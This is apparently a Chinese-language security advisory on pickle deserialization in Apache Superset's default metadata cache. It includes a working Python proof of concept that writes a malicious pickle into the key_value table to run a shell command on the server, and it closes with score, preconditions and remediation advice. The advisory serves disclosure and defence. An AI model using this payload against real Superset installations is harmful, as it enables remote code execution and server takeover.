
通过使用 pickle 利用 Superset 的默认缓存
[ 作者 ] Dinis Cruz
[ 项目 ] Superset
Apache Superset提供了多种缓存选项,所有这些选项都基于Flask-Caching。它提供了一个内置缓存,该缓存将值序列化以便后续检索。此序列化和检索使用Pickle完成,这允许反序列化Python对象,从而可以执行代码。
内置缓存将信息写入元数据数据库,这意味着能够访问该数据库的攻击者可以提升其权限,并获得对提供Superset服务的机器/容器的远程访问。
MetaStoreCache类,它使用PickleKeyValueCodec类来进行信息的序列化。
该问题通过首先创建一个干净的Superset安装(默认使用内置缓存)进行复现。
在已知需要访问数据库才能利用此问题的基础上,我们可以将所有缓存值更新为包含Pickle漏洞利用的值。稍后,当该值被返回给用户时,pickle模块将反序列化数据并执行我们的代码。以下是一个Python PoC示例。
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
该脚本会更新数据库中所有缓存的值,一旦数据被返回给用户,就会在/tmp目录下创建一个evil.sh文件以作演示。
所有用户都可能受到影响。
评分:9.1
尽管修复工作由Superset团队负责,但主要问题在于使用pickle进行数据序列化。根据我对提交#23888的理解,该提交将其他组件中的Pickle序列化移除,但由于需要“处理任意二进制类型”,这一组件得以保留。最干净的解决方案是切换到其他序列化机制,但也有人可以实现一个受限的反序列化器(unpickler),虽然这不是一个确定的解决方案,但可能实施时需要的工作量较少。
需要访问Superset安装所使用的元数据数据库。
无需特殊设置,只需一个Python解释器来生成载荷。将恶意载荷引入数据库的方式有多种。